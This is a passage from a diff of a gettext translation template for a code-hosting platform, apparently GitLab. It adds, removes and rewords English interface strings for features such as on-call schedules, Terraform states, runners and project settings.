msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
